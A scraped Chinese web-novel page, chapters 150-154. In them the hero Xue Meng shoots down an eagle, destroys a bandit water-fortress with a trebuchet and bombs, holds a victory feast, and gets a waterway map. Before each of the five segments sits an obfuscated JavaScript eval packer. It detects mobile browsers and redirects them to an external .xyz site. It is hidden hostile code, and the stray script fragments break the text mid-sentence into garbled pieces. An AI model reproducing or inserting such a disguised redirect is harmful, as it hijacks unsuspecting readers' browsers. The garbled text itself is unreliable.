;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324595|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
箱满满登登的财宝。
雷龙到死都想不到,当了一辈子水匪,最后却被别人给抢了!
听见火焰熊熊燃烧的声音,薛猛坐在船头,回头眺望,只见青龙峡水寨的木栅、土堡、箭楼,被大火烧得只剩下断壁残垣。
曾经不可逾越的水上堡垒,转眼间沦为了一片废墟。
薛猛心情大好,戳了戳身旁刚被包扎好伤口的罗飞,不忘调侃道:“罗飞,哥对你好吧?为了你们几个,把水匪老窝都端了!”
罗飞感动得涕泪横流:“薛大哥,你对咱没得说,我又欠了你一条命!”
薛猛挑眉道:“那你打算怎么感谢我?”
罗飞咧了咧嘴,企图用嬉皮笑脸掩饰尴尬:“救命之恩,无以为报,小弟只能以身相许了!”
“行啊!回头把沟子洗干净,老子要跟你入洞房!”
薛猛拍了拍罗飞的屁股,满脸坏笑!
罗飞虎躯一震,脸都吓白了:“不是哥,我说着玩的,你不会来真的吧?”
薛猛的“长根儿”之名,在白虎乡那可是凶名赫赫啊!
同船的妇人们,暗自打量着薛猛,心里犯起了嘀咕。
“这薛公子,怎么看上去和传说中的大圣人不太一样。”
“感觉不太正经啊!”
“……”
薛猛正和罗飞瞎扯淡,忽听船队最前方出现了骚乱。
“噶!”
转头看去,只见一只白尾雕发出凶猛的鸣叫,不断扑打着长达两米的翅膀,朝船上的人发起袭击。
张水等人张弓搭箭,想要射杀那只白尾雕!
奈何那凶禽反应迅捷,来去自如,眨眼功夫便乘风而起,升上五百米高空。
张水等人射出的箭,最高也只能射一二百米,加上江上风大,箭很容易射偏,一番射击后,竟是连那畜牲的羽毛都碰不到。
白尾雕盘旋在船队上空,迟迟不肯离去,只要张水等人稍有松懈,它便猛然俯冲而下,发起猛攻!
那畜牲嘴尖如矛,爪利如钩,张水几人衣服都被抓破了,身上全都挂了彩!
“放箭!放箭!”
张水气急败坏,带着水鬼队疯狂放箭。
直到箭都快射完了,那白尾雕依然毫发未损,翱翔于天际,发出“噶噶”鸣叫,仿佛在嘲笑他们。
“贼撮鸟!休要猖狂!看我怎么,把你打下来!”
秦义见状,举起手里撑船的竹篙,奋力一掷。
刷!
竹篙掠上高空,眼看就要击中那白尾雕。
“噶!”
却不料白尾雕在空中飘逸转体,竹篙擦身而过,仅仅只是擦落它一根羽毛,便坠落于江中。
那雕羽色泽纯白,羽片宽大,浮于水面之上,滴水不沾!
秦义大惊:“这撮鸟!好生了得!”
连秦义都没了辙,山猫子、寇芳等人,也都束手无措,船上的妇人们更是吓得瑟瑟发抖,唯恐被那凶禽攻击。
夜含香眸光一闪,蹙眉道:“我想起来了!这白尾雕是那帮水匪养的,这畜牲吃过**,性情凶残,嗜杀成性!”
“若不把这家伙打下来,它冷不丁发起袭击,弄不好是会出人命的!”
张水满脸无奈:“可这畜牲飞得又高,反应又快,以我们手中的武器,根本打不下来啊!”
就在众人束手无措之际,薛猛眯眼看着天上气焰嚣张的白尾雕,缓缓起身,抬手喝道:“张水,把弓给我!”
第151章 挽弓射雕
“薛爷,我们试过了!这弓,射不到的……”
“给我就行!”
“行,行吧!”
张水一怔,随即将水鬼队剩下的几支箭,和自己的竹胎弓交给身边人。
经过众人传递,递到了薛猛手里。
薛猛接过弓箭,立于船头之上,猿臂挽弓,指扣弓弦。
虎目微眯,屏息凝气,反复调整角度。
奈何那白尾雕仿佛能够感受到威胁,频繁在空中转体,忽左忽右,来回盘旋,让薛猛完全无法瞄准!
薛猛反复尝试了几次,都没有贸然放箭。
这次出来没带射日弓和狼牙箭!
普通的竹胎弓和雁翎箭射程和威力都十分有限,硬射的话,根本伤不到这畜牲!
要想射中白尾雕,必须拉近距离!
薛猛急中生智,背过身去,决定卖个破绽。
他想赌一把!
赌这白尾雕,敢不敢突然袭击他!
“噶!”
忽听一声凶狠鸣叫响起,那白尾雕见薛猛背对自己,果然不愿放弃这个绝佳的猎杀机会!
眼中红光乍迸,朝着薛猛后脑勺高速俯冲而下!
两只雕爪,指如铁钩,只需轻轻一抓,便可将薛猛的头皮掀开!
“薛爷,当心背后!”
所有人都倒吸一口凉气,替薛猛捏了一把冷汗,不明白薛猛为何要背对那畜牲。
这不是白白给那畜牲袭击的机会吗?
几乎是眨眼功夫,白尾雕相隔薛猛头顶就只剩下十米不到的距离!
然而薛猛仍旧没有任何反应。
“糟了!”
大家的心都提到了嗓子眼!
就在白尾雕距离薛猛只剩下最后五米距离之时,薛猛狼腰一扭,直接斜躺在地,迅速对着白尾雕开弓放箭!
“嗡——!”
竹胎弓开鬼神泣,雁翎箭发迸寒星!
白尾雕瞳孔骤缩,感受到前所未有的死亡威胁,想要折身飞走,然而它距离薛猛实在太近,根本没有多少回旋的余地!
刷刷刷!
三道白光同时如电射出,分别贯穿了白尾雕的腹部以及两翼!
“噶——!”
雕血如雨飞溅,撒落江中,绽放如红梅!
先前还气焰嚣张的白尾雕,口中发出尖锐惨叫,瞬间折翼坠地,硕大雕躯重重砸落在船板上。
雕嘴里鲜血汩汩直冒,无力地扑打了几下翅膀,眸中的凶狠红光,以肉眼可见的速度黯然消逝。
一时间,江风轻拂而过,四周鸦雀无声,天地之间只余下弓弦振动的回响。
“大家别怕!这畜生**!”
薛猛缓缓起身,一把将白尾雕拎了起来,高举过顶,示意大家不必再惊慌!
看着薛猛挺拔的身影,衣袍**风吹得猎猎作响。
所有人都屏住了呼吸。
船上的妇人们,更是全都嘴巴大张,看直了眼。
夜含香狐媚眼眸中异彩纷呈,心如小鹿乱撞!
在卧虎村这段时间,她屡次听村里人说起,薛猛射杀棕熊的英雄事迹,坊间都管薛猛叫“神箭英雄”!
没亲眼见识薛猛箭术之前,她还以为村民言过其实了,但在亲眼见识过之后,才知道村民们非但没有丝毫夸张,反而还保守了!
薛猛刚才的箭术,已经不能用高超来形容了,简直就是出神入化!
主动背对白尾雕,任其袭击,以此拉近距离,随后三箭毙命!
但凡对时机的拿捏稍差火候,要么白尾雕提前察觉飞走,要么就会被这畜牲掀开头皮!
对自己的箭术没有绝对的自信,绝不敢如此托大!
所谓艺高人胆大,在薛猛身上表现得淋漓尽致!
张水等人在短暂失神之后,爆发出潮水般的鼓掌喝彩声!
“薛爷威武!”
罗飞更是不顾身上伤口,强撑着身子坐了起来,给薛猛鼓掌!
同样的弓箭,在薛猛手里发挥出来的威力,竟是如此天差地别!
哪怕没有射日弓、狼牙箭,薛猛依旧可以挽弓射雕!
不得不令人佩服!
“姑爷爷,你,太会射了,躺着,居然都能射中!”
秦义指着薛猛手里的白尾雕,馋得直流口水:“姑爷爷,这撮鸟好大,肉好多!咱们,烤来吃了吧!”
“不行!”
薛猛摆手:“这畜牲虽然凶恶,但这一身雕羽,属实漂亮!”
“我打算用它来做雕羽箭!”
“那,行吧!”
秦义有些失望,悻悻然道:“等你拔完雕羽,再烤来吃!”
“恩公,后面好像有水匪战船过来了,咱们还是快走吧!”
寇芳的声音突然响起,薛猛一怔,扭头朝囚龙岛方向看去。
不少幸存的水匪,仓皇逃出水寨,开动战船,准备驶离囚龙岛。
天上火球持续砸落,一连摧毁了好几艘战船!
但架不住水匪船多,还是有二十多条船侥幸跑了出来!
每艘船上,少说也有十多个水匪!
也就是说,至少有二百名水匪幸存了下来!
“好,咱们快走!”
趁着火球攻势未歇,水匪们暂时追不上来,薛猛带着船队继续向前航
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324596|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行。
不多时,船队路过驼峰山山下。
火球就是从山顶抛射而出!
抬头望去,残阳如熔金般泼洒在山脊之上,山顶之上,一台籍车,矗立于在赤色天幕之下!
光看高大的剪影,便能窥见它的强大!
所谓籍车,乃是前世墨家发明的一种攻城器械!
不同于传统投石机的木质结构,籍车整体由铁锻造,十分坚固!
籍车利用杠杆原理运作,比传统投石机更加省力,威力也更大。
其车柱长一丈七尺,四尺埋于地下,作为固定。
车座长五尺,马颊长二尺八寸,车桓长一丈二尺半,可以同时由数十匹战马拉动绞盘蓄力,将石弹或者**,投掷数百米开外,摧毁敌方城墙堡垒!
而被籍车抛射出的大火球,叫做“轰天雷”!
此物乃是前世北宋时期,出现的一种**类火器。
外壳以生铁制成,内部填充**、铁片、铁钉。
轰天雷重达十斤,可以填充大量**,又以生铁作为外壳,虽然还是比不上烈性**,但是**产生的威力,可比“喷火雷”大得多。
尤其是在籍车的抛射下,杀伤力更加巨大。
北宋末年李纲守卫开封时,就曾用震天雷重创过金军!
“薛爷,这就是你先前说的大宝贝了吧?”
“这宝贝可真厉害!”
“把那帮水匪打成孙子了!”
望着山上仍在发威的钢铁巨物,船上众人啧啧称奇。
尤其是夜含香,看见这等攻城利器,两只眼直放光!
几百米开外摧毁水寨,其势犹如摧枯拉朽!
这等神器,若是落在任何一支军队手里,都足以影响战局!
这让夜含香不禁想起,薛猛之前画的“飞雷炮”图纸。
他想不通,薛猛这脑子里,到底还装着多少好东西?
面对众人称赞,薛猛却是十分清楚籍车的局限性和短板,摇头叹道:“这东西威力还是太弱了,火力不足!而且,太过笨重,机动性不够。”
“每次抛射,需要几十匹战马同时驱动,太费力气了!”
所有人都听傻了眼。
这还威力弱?!
难不成,这世上还有比这大宝贝儿更厉害的武器?
薛猛并没有多加解释,带着船队先一步登上青龙峡河滩。
和埋伏在礁石群后面的裴红玉交换了眼神,弃船上岸,更换了提前备好的马车,带着车队迅速通过山谷……
接下来,青龙峡河滩将彻底沦为杀戮的战场,水匪的地狱!
第152章 大胜而归
二十多枚轰天雷先后抛射而出。
青龙峡水寨被彻底夷为平地。
企图弃寨逃跑的水匪战船,也遭受重创!
不少战船被直接击沉,还有的则被轰天雷**掀起的水浪掀翻!
即便侥幸逃走的水匪,在登上青龙峡河滩之后,也注定难逃被裴红玉的伏兵截杀的下场!
上岸,等待他们不是生存的希望,而是无解的死局!
“杀!!!”
听见喊杀声,薛猛回过头,看向后方的青龙河滩。
远远看见,裴红玉挥舞红色令旗,白马**,带队从礁石群中冲杀而出!
乌云阵起,血肉飞溅!
整个青龙峡河滩,沦为了屠宰场!
箭雨纷飞,一大波水匪中箭倒下。
紧接着便是盾牌冲撞,**刺杀,大刀**。
最后水匪无路可走,逃入山谷,遭遇骑兵冲锋,**得晕头转向,肝胆俱裂。
巡猎队各分队配合密切,轮番出阵,加上老鸦坎轻骑袭扰,仓皇逃命的水匪,根本毫无招架之力……
……
“爹!时辰差不多了!”
驼峰山上,负责指挥籍车抛射轰天雷的萧复梁,看了看天色,对萧灭虞说道:“按薛神仙锦囊妙计里说的,青龙峡河滩上的战斗应该快结束了,咱们也该回去了!”
萧灭虞点点头,率领众人将籍车的埋在土里的车柱挖出来,并在车座上安上车轮,指挥战马将重达千斤的籍车拉走。
“这一仗!打得可真他娘过瘾!”
“那些水匪,连咱们的影儿都没见到,就被打得屁滚尿流,估计到死都还没反应过来发生了什么!”
“哈哈!可不是嘛!我还是头回见这么打仗的!”
“这还要多亏了薛神仙的大宝贝儿!这东西,简直就是神器啊!”
听到身后弟兄们兴奋的谈笑声,萧复梁心情复杂。
在此之前,他出山帮薛猛,只不过是为了还薛猛的人情!
而现在,亲眼见识到了这籍车和轰天雷的威力,他心中不由得生出了别样的心思……
萧复梁快走两步,来到萧灭虞身边,旁敲侧击问道:“爹,你说,咱们大梁当年要是有这籍车,是不是就不会被大虞覆灭了?”
萧灭虞看了眼身后众人拉动的籍车,随后看着自己的儿子,若有所思:“复梁啊,为父知道你在想什么!”
“你是想,用这籍车去打大虞的官军,为父没说错吧?”
被父亲看穿心思,萧复梁尴尬地挠了挠头:“爹,知子莫若父,孩儿的心思,瞒不过你!”
“咱们跟薛神仙说说,让他把这籍车借给我们打大虞!如何?”
“不可!”
萧灭虞直接否定了萧复梁这个想法:“你难道忘了,先前薛神仙跟我们说过什么了吗?”
“大虞虽然已经烂透了,但是瘦死的骆驼比马大!”
“现在还不到起兵的时候!”
“更何况,拉起队伍需要大量的钱财和粮食,咱们家底薄,经不起折腾!而且,你我只能为将,并无帝王之相啊……”
“南乐虽是长公主之后,流淌着大梁皇族血脉,但她毕竟是女儿身,坐不得江山!”
“现在我们最应该做的,就是和薛神仙紧密合作,扶持薛家!”
“比起我们,薛神仙才更有帝王之相!”
说起薛猛,萧灭虞那张方脸上,满是欣赏!
萧复梁听得一愣一愣的,他不敢相信,这些话居然出自自己亲爹之口!
要知道,他这个爹,从小就给他灌输,要以光复大梁为己任的思想!
“爹,你变了!你以前,可不是这么说的!”
“不是爹变了,是这个世道变了!大梁已经亡了两百年,咱们也应该往前看了!”
“顺应天道,追随明主,我们萧家才能延续下去!”
“爹,孩儿明白了!”
……
日落西山,暮色四合。
卧虎村寨门紧闭,灯火通明。
驻守在箭楼上的村民,警惕地巡视着村子周围。
薛猛和巡猎队迟迟未归,卧虎村防备空虚,大家心里都提心吊胆的!
徐守业在寨墙上来回踱步,也是忧心忡忡。
天都黑了!
怎么长根儿他们还不回来?
莫不是,出师不利,出了意外?
老白头不耐烦道:“行啦!你别总是走来走去的,晃得我眼都花了!”
“薛贤侄吉人自有天相,肯定会顺利把罗飞他们救回来的!”
说完,老白头拿起酒囊,往嘴里灌了一口酒。
嘴上虽在安慰徐守业,但其实他自己心里,又何尝不是焦灼难耐!
虽说薛猛曾经带领巡猎队,打败过数倍于己的马青峰一伙山匪,又在一线天和迷雾竹林,先后歼灭了百余骑黑风岭响马!
但那都是借助地形优势,靠着计谋设伏,方能以多胜少,以弱克强!
而这次,薛猛是主动攻打青龙峡水寨!
无论是地形
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329074|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还是人数,都不占任何优势!
完全是硬碰硬的较量!
青龙峡水匪威名在外,一度让剿匪的官军折戟沉沙。
薛猛此去,凶多吉少,怎能不让人揪心?
“村长,白大叔,你们快看!”
“好像是薛爷他们回来了!”
就在这时,驻守箭楼的村民,忽然惊喜大喊起来!
“哦?”
“回来了?!”
徐守业和老白头闻言,争前恐后登上箭楼,顺着村民所指的方向,眺望而去。
月色下,远处的地平线,升腾起滚滚烟尘。
密集的马蹄声由远及近,越来越响,震动大地。
浩浩荡荡的三支队伍,凯旋而归!
最先出现的队伍,是萧氏父子率领的二百名白马义从。
一辆高达一丈七尺,长一丈二尺的籍车,在数十匹龙驹马的驱动下,缓缓驶来,格外显眼。
紧随其后的队伍,则是裴红玉率领的巡猎队,以及吴大海率领的老鸦坎轻骑兵。
两辆神臂**车开道。
裴红玉浑身浴血,就连胯下白马都变成了红马,垂地的枪锋之上也滴沥着人血,显然刚刚经过一场激战。
看她高高扬起的下巴,就知道这一战,杀敌不少,居功甚伟!
巡猎队各分队队长,率领各自小队,押着一群灰头土脸的水匪俘虏。
不时挥舞手中武器,发出呵斥之声,催促他们快些走。
再后面的队伍,则是张水率领的水鬼队。
几辆马车押运着从水寨里劫来的财宝,身后还紧跟着从水寨里救出来的村民,因此走得最慢。
而薛猛,则独自骑着乌骓马,跟在队伍的最后面。
犹如狼王审视狼群一般,默默清点着队伍的人数。
三百人去,四百人回!
此战,不仅彻底摧毁了青龙峡水寨,斩杀了匪首雷龙、雷鹏父子!
还缴获了诸多水匪财宝、兵器、战船,轰杀、击杀三百多名水匪。
俘虏了上百名水匪,救回二十多名邻村村民!
而己方阵营,除了和水匪短兵相接的巡猎队和老鸦坎,出现了负伤之外,其他人均是毫发无损!
可谓大获全胜!
看见薛猛等**胜而归,徐守业和老白头激动得老泪纵横,仿佛看见了当年率领白虎军大败北莽铁骑的霍将军。
老人拍着箭楼栏杆,声嘶力竭,高声大喝道。
“快开寨门!”
“迎接薛家军凯旋!”
第153章 薛家猛酒!
当天晚上。
卧虎村灯火通明,杀猪宰牛,大摆庆功宴。
酒坊酿造的第一批白酒,也正式端上了餐桌!
“这白酒,有力气,比我们的马奶酒还要烈!!”
“喝了这白酒,再喝其他酒,总感觉差点意思啊……”
“过瘾呐过瘾!”
经过过滤蒸馏后的白酒,酒色清澈,清香纯正,入口微辣中带一丝清甜,余味爽净,有淡淡的药香和谷物醇香。
喝完连打嗝都是香的!
无论是酒色,还是风味、后劲,都远胜过大虞现有的酒,得到了徐守业、老白头两个老酒鬼的一致好评!
不少酒量稍差的村民,一杯下肚,便躺在桌底呼呼大睡起来。
便是从小喝马奶酒长大的萧氏族人,一个个也都成了醉猫。
徐守业脸色酡红,捋着胡须笑呵呵道:“这才是真正的一杯解千愁啊!”
“可惜四十七弟没在,没口福咯!”
“不然,这白酒他肯定喜欢!”
薛猛举起酒杯,走了过来,听见徐守业的感慨,轻笑道:“徐伯,这个你不用担心!”
“明日,寇芳他们押送水匪俘虏去县衙,我让他们顺便给郑叔带上几坛白酒,让郑叔也尝尝鲜!”
老白头醉眼惺忪,看向薛猛:“薛贤侄,这白酒好是好,但名字就叫白酒,是不是太草率了?”
“你看,市面上的玉壶春、女儿红……那名字,说出去也好听呐!”
“你这么好的酒,应该取个更好听的名字!”
“取名这事儿,我还真没想过!”
薛猛反把这个问题,抛给了徐守业:“徐伯,您老人家肚子里墨水多,不如,你替这酒取个名字吧!”
“啊,容老夫想想!”
徐守业捋着胡须,低眉沉吟片刻:“有了!这酒,入喉微辣,酒劲猛烈,滋味香醇,不似寻常村酒那般绵软无力,寡淡乏味……”
“以老夫之见,不如就叫猛酒吧!”
猛酒?
薛猛闻言一怔。
“好哇!”
“这酒的酿造方法,本就是薛贤侄发明的!”
“薛贤侄的名字不就带一个猛字吗?这酒叫猛酒,以后大家一喝这猛酒,就能想起薛贤侄!”
老白头这么一说,所有人都回过味来了。
“这名字好!薛家猛酒,越喝越有!”
徐守业举起酒杯起身,环视周围众人:“来来来,大家好不容易聚在一起,同饮一杯猛酒,今后就是一家人了!”
“干!!!”
先前醉得昏昏欲睡的众人,听闻此言,纷纷打起了精神。
酒这东西,最能拉近人和人之间的距离!
数百人同饮一碗猛酒,无问亲疏,不分贵贱!
都一般哥弟称呼!
皆一样的酒筵欢乐!
水匪覆灭,卧虎村迎来了难得的安宁!
大碗喝酒,大口吃肉。
杯盘狼藉,欢饮达旦。
而薛猛,则提前离开了酒席,回到了家中。
掀开红被,一股温香扑鼻而来。
娇妻早已剥洗干净,等着自己了!
雪腻的身子,圆润的曲线,捏上一把,指缝里溢满雪肉。
那一夜,薛猛酒劲上头,格外凶猛,气势不亚于炮轰水寨。
但林雅娴没有半句怨言,只是一味地包容自家长根儿。
翌日。
薛猛依照惯例,召开了战后复盘会。
这一次参加会议的,不止老鸦坎和巡猎队,还多了萧氏父子。
**行赏环节,裴红玉依旧稳拿MVP!
阵斩二十人,其中还有五名水匪头领,在成为水匪之前都是江湖上的好手。
吴大海也不赖,斩杀七人排第二,成功兑现先前的承诺,没有放跑水匪,保住了自己的屁嫣儿!
其他人平均斩杀两三个水匪。
寇芳、山猫子、夜含香、张水,深入敌巢,救援人质,并运出水匪财宝,也是奇功一件。
萧氏父子带队运送籍车,炮轰水寨,功不可没。
薛猛一口气发了一千多两赏银下去。
在战斗中负伤,不能再干重活的队员,还给了双倍抚恤,以后每个月家里都有补贴,福利堪比官军。
“薛猛,这赏银我不要!”
裴红玉拿到的赏银理应最多,但她却拒绝领取赏银:“巡猎队每个月都有俸钱,那些钱已经够我养我爹了!”
“平时吃饭也在饭堂吃,我根本用不上这么多钱。”
“这次鱼胶、铁锅又没卖出去,你正是缺钱的时候,这赏银我无论如何也不能要!”
“对对对!我们每个月都拿了俸钱,保护村子,是我们的职责!”
“不打仗的时候,我们除了训练,什么活都不用干,这好不容易打一次仗,哪能还厚着脸皮领赏银……”
巡猎队各分队队长,纷纷效仿裴红玉,拒绝领取赏银。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329075|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>萧氏父子面面相觑,倒是无所谓。
反正他们决定追随薛猛,也不是图薛猛的银子,而是认准了薛猛这个人!
老鸦坎的几个小头领见状,心里虽然还是想要赏银,但大家都不要,他们也不好意思再要了。
而且大家都知道,因为水匪劫道的缘故,薛家的铁锅、鱼胶两大支柱生意,受到了阻碍!
大家都担心,发这么多赏银,薛家撑不下去!
“我也不要赏银!”
夜含香本就不是卧虎村的人,她主动参加这次行动,只不过是因为那帮水匪上次差点杀了她,想乘机报仇雪耻罢了!
至于赏银不赏银啥的,她也没多大兴趣,毕竟她根本不缺钱。
薛猛自然是看出了大家的心思。
“俸钱是俸钱,赏银是赏银!”
“这赏银,是你们真刀**,流血流汗,拼出来的!你们安心拿着!”
“不是我薛猛夸口,这次鱼胶、铁锅虽然没能送到京城,但纺织坊、制药铺的收入,也足够基本开销!”
“大家忘了李庄吗?李庄的田契、房契、桑园还在我手里!随便变卖出去,都有大笔银子进账!”
“此外,只要白酒一上市,必将成为继铁锅、鱼胶之后,新的支柱产业,收入定然极其可观!”
“更何况,咱们这次还缴获了水匪诸多战船和财宝!”
“这些财宝,换成粮食,够我们卧虎村全村吃个三五年,都不成问题!”
在薛猛的强烈要求下,众人只好收下赏银。
离开薛家后,大家又私底下聚在一起,商量之后,决定将赏银全部交给村长徐守业保管,作为备用资金,以备不时之需。
尽管薛猛开会时说得轻描淡写,但大家其实对当前的局势心知肚明。
如今黑风岭匪兵作乱,商路不通。
薛家的生意肯定会受到影响!
纵然薛家靠着水匪财宝勉强支撑,但也不是长久之计。
“薛爷待我们不薄!”
“咱们也得为薛爷着想!”
“对!值此乱世,我们这些泥腿子,想要翻身,需要薛爷这样的人带头!”
“哪怕不要钱,咱也得把薛家军的大旗支棱起来,决不能让它倒下去!”
薛猛并不知道。
底下的人正偷偷背着他,绣制一面“薛家军”大旗。
大旗之上,一个仰天长啸的雪色虎头图案,已见雏形!
第154章 蜀郡水道图
薛猛开完会,独自坐在书房,紧闭门窗,铺开稿纸,撰写小说。
小说的题目,叫做《精瓶梅》!
别看他当着大伙儿的面,说得轻描淡写,实际上,刚才林雅娴给他翻了账目,不看不知道,一看吓一跳。
人,倒是好养活,一天三顿白米饭,隔山差五吃点肉,大家就很满足了。
但养战马,造**,造兵器,造皮甲,太烧钱了!
尤其是造那台籍车和那二十多枚轰天雷,把薛家的底子都快掏干净了!
本来指望着铁锅和鱼胶能够回本,但没想到出了意外。
要不是缴获了水匪的财宝,薛家还真得断粮不可!
“写点小说,看看能不能赚点外快**血。”
薛猛努力回忆着前世畅销巨著《精瓶梅》的内容,奋笔疾书。
大虞没有皇片看,老百姓只能看点话本小说、春宫册子学习姿势。
薛猛看过几本大虞市面上卖得最火的书,都不咋滴。
这《精瓶梅》一出世,肯定能够吊打他们!
“我得想个笔名。”
薛猛咬着笔头想了想,在书封上写下署名:西门长根儿。
“嘿嘿!这样就没人知道,这书是我写的了!”
薛猛写完几章稿子后,又铺开画纸,用铅笔画了一幅活色生香的素描插图。
纤毫毕现,极其逼真!
连毛发都能看见!
“此书不火,天理难容!”
薛猛闭着眼靠在椅背上,转着笔,仿佛已经听见银子进账的哗啦声了。
这幅插图上的女子,融合了薛猛对女人所有的想象!
裴红玉的热烈、夜含香的狐媚、林雅娴的体贴、徐瑾儿的清纯、贤妃的高贵、宋婉儿的温婉、萧南乐的神秘、罗飞的沟…呸,没有罗飞!
砰砰砰!
薛猛正回味无穷,敲门声突兀响起。
紧接着,一道婀娜倩影推门走了进来。
薛猛心头一震,连忙从书架上扯下几本书,将桌上的素描和稿纸盖住。
这才抬头看去,只见进来的赫然是夜含香。
“怎么!”薛猛额角微汗,尴尬一笑:“影卫大人,有事吗?”
“叫我含香就行。”
夜含香柔媚一笑,指了指薛猛旁边的凳子:“我可以坐吗?”
“当然!”
薛猛点头。
夜含香抬起翘臀,在薛猛身边的凳子上坐下,明媚狐眸不经意扫了眼薛猛书桌上的几本书。
“薛公子,你对佛经也有研究?”
“啊?”
薛猛闻言一怔,随即看了看盖在《精瓶梅》上的几本书,全都是佛经。
这些书,薛猛其实压根没看过,都是徐守业不知道从哪里搬过来,给薛猛填书架的!
“哦对!我这人,比较喜欢研究佛经。”
薛猛硬着头皮,点了点头。
“那巧了,我也懂一些佛经。”
夜含香笑着凑近薛猛:“不知薛公子,对苦、集、灭、道四圣谛,有何见地?”
“苦…”
薛猛听得满头雾水,张了张嘴,却不知该怎么回答。
不是,你一个盗门中人,没事儿你研究佛经干个鸡毛啊?
“薛公子,你可以翻一翻《阿含经》的第十页,第七行,上面写了答案!”
薛猛闻言,下意识拿起佛经,翻了起来。
“没有哇……上面没写啊!”
薛猛正翻着书,却听夜含香噗嗤一声,笑了出来:“薛公子,我看你对佛经没什么研究,对女人倒是研究得透透的!”
“还别说,这画画得真好,像**一样!”
“?”
薛猛一惊,低头一看,书桌上被佛经盖住的人体素描插图,已经不翼而飞。
抬头一看,那插图已经落入了夜含香之手!
“还给我!”
薛猛瞳孔骤缩,老脸滚烫,连忙伸手想要抢回插图。
夜含香将插图往腰后一收,身子轻轻扭动,薛猛的手没能抓住插图,反而抓在了夜含香的胸上。
不由得虎躯一震,愣住了。
“薛公子,你打算摸到什么时候!”
夜含香咯咯娇笑起来。
“你,你快把画还给我!”
薛猛连忙缩回手,手感太惊人,根本不敢回味,害怕上瘾!
“薛公子,我还是头一回见到这样的画,实在是喜欢得紧!你就把这幅画送给我,作为临别的礼物吧!”
夜含香缓缓从袖中抽出一个卷轴,语气真挚:“作为交换,我也送你一幅画!”
“你要走?”
薛猛一怔。
“嗯,青龙峡水匪已灭,我的仇已报。”
“含香步和折梅手,你也已经掌握,我也没必要再继续待在这儿了!”
“出来这么久,我也该回宫复命!”
说着,夜含香将手中卷轴递给薛猛:“薛公子,你还是先看看我送你的这幅画吧,这幅画可是大有来头,或许可以帮你解决大问题!”
“哦?”
薛猛顿时来了兴趣,展开卷轴,卷轴的长度竟然铺满了整个书房。
“这……这东西你从哪里得来的?”
薛猛顿时瞪大了双眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336788|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
这幅画,可不是什么山水丹青,而是一副蜀郡水道图!
虽然有些部分,已被烧毁,有所残缺,但大致的部分都能看清楚。
水道图上,标注了蜀郡十七县江湖河海的名称和航线。
什么地方有水匪盘踞,什么地方有暗流旋涡,全都标注得一清二楚。
这副图上最显眼的地方,当属蜀郡绿林九山十二岛!
全部用红色符号标记!
“这水道图,是我昨日潜入青龙峡水寨时,从雷龙的房间搜出来的!”
夜含香从怀里取出几个信封和腰牌,递给薛猛:“还有这些信,都是雷龙和其他响马土匪来往的信件……”
薛猛连忙接过信封,取出里面的信件,翻看起来。
信件里提到最多的,都是协助黑风岭押运粮草之事。
“看来九山十二岛的匪寇,都和黑风岭达成的同盟,哪怕有些山寨不愿意出兵,也答应给黑风岭予以方便!”
“只要出示这个兽纹腰牌,九山十二岛的匪寇都会予以放行!”
“如此说来,只要有了这个腰牌,就可以保证航行畅通无阻!”
看完信后,薛猛大喜,捏着手里的腰牌,心中块垒顿时消解大半!
